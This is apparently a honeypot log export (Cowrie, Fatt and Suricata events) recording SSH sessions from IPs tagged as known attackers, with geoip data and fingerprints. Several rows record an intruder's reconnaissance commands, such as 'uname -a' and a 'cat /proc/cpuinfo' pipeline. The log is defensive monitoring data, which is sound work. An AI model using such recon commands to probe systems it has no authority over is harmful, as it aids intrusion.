31832	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:47:51.236563+03	2021-09-20 15:00:02.680717+03	{"_id": "WQYIA3wBvYTbRNuEqEai", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55358, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.236563", "@timestamp": "2021-09-20T11:47:51.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31833	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.187951+03	2021-09-20 15:00:02.681717+03	{"_id": "ZQYIA3wBvYTbRNuEqUbv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:55358 (192.168.176.2:22) [session: 6436ece08441]", "session": "6436ece08441", "@version": "1", "protocol": "ssh", "src_port": 55358, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.187951Z", "@timestamp": "2021-09-20T11:47:51.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31835	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:47:51.229537+03	2021-09-20 15:00:02.684716+03	{"_id": "bAYIA3wBvYTbRNuEq0aG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1106368356893366, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55358, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.229537Z", "@timestamp": "2021-09-20T11:47:51.229Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31836	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:47:51.633813+03	2021-09-20 15:00:02.686717+03	{"_id": "bgYIA3wBvYTbRNuErEaJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55428, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.633813", "@timestamp": "2021-09-20T11:47:51.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31837	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:47:52.192892+03	2021-09-20 15:00:02.687716+03	{"_id": "eAYIA3wBvYTbRNuErUbZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f9b174d04a58", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:52.192892Z", "@timestamp": "2021-09-20T11:47:52.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31838	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:47:52.189878+03	2021-09-20 15:00:02.688716+03	{"_id": "eQYIA3wBvYTbRNuErUbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:34238 (192.168.176.2:22) [session: f9b174d04a58]", "session": "f9b174d04a58", "@version": "1", "protocol": "ssh", "src_port": 34238, "dest_port": 22, "timestamp": "2021-09-20T11:47:52.189878Z", "@timestamp": "2021-09-20T11:47:52.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31839	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:47:52.428249+03	2021-09-20 15:00:02.690718+03	{"_id": "ewYIA3wBvYTbRNuEr0Zu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 1131657124352601, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34238, "dest_port": 22, "timestamp": "2021-09-20T11:47:52.428249Z", "@timestamp": "2021-09-20T11:47:52.428Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31840	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.584193+03	2021-09-20 15:00:02.691718+03	{"_id": "fwYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.584193Z", "@timestamp": "2021-09-20T11:47:53.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31842	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.662231+03	2021-09-20 15:00:02.694718+03	{"_id": "ggYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "bd30aee8fdf869bb63e830db5fe471942363f5a5d3d71ff2bb88e77104e52e54", "src_ip": "163.172.167.225", "ttylog": "log/tty/bd30aee8fdf869bb63e830db5fe471942363f5a5d3d71ff2bb88e77104e52e54", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/bd30aee8fdf869bb63e830db5fe471942363f5a5d3d71ff2bb88e77104e52e54 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07949066162109375, "duplicate": false, "timestamp": "2021-09-20T11:47:53.662231Z", "@timestamp": "2021-09-20T11:47:53.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31843	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.027756+03	2021-09-20 15:00:02.695717+03	{"_id": "pAYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.027756Z", "@timestamp": "2021-09-20T11:47:55.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31844	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.57498+03	2021-09-20 15:00:02.697716+03	{"_id": "ogYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "163.172.167.225", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07938623428344727, "duplicate": true, "timestamp": "2021-09-20T11:47:55.574980Z", "@timestamp": "2021-09-20T11:47:55.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31845	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.104266+03	2021-09-20 15:00:02.698716+03	{"_id": "pgYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "163.172.167.225", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07661151885986328, "duplicate": true, "timestamp": "2021-09-20T11:47:55.104266Z", "@timestamp": "2021-09-20T11:47:55.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31846	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.758958+03	2021-09-20 15:00:02.699716+03	{"_id": "pwYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.758958Z", "@timestamp": "2021-09-20T11:47:55.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31847	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.108549+03	2021-09-20 15:00:02.700716+03	{"_id": "qgYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "163.172.167.225", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.0804145336151123, "duplicate": true, "timestamp": "2021-09-20T11:47:56.108549Z", "@timestamp": "2021-09-20T11:47:56.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31850	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.724511+03	2021-09-20 15:00:02.704716+03	{"_id": "rwYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.724511Z", "@timestamp": "2021-09-20T11:47:56.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31851	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.232779+03	2021-09-20 15:00:02.705717+03	{"_id": "qQYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.232779Z", "@timestamp": "2021-09-20T11:47:56.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31852	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.308597+03	2021-09-20 15:00:02.707716+03	{"_id": "qwYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "163.172.167.225", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07647824287414551, "duplicate": true, "timestamp": "2021-09-20T11:47:56.308597Z", "@timestamp": "2021-09-20T11:47:56.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31853	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.802613+03	2021-09-20 15:00:02.708717+03	{"_id": "rQYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "163.172.167.225", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07874870300292969, "duplicate": true, "timestamp": "2021-09-20T11:47:56.802613Z", "@timestamp": "2021-09-20T11:47:56.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31854	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.060839+03	2021-09-20 15:00:02.709717+03	{"_id": "tgYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "163.172.167.225", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07848286628723145, "duplicate": true, "timestamp": "2021-09-20T11:47:57.060839Z", "@timestamp": "2021-09-20T11:47:57.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
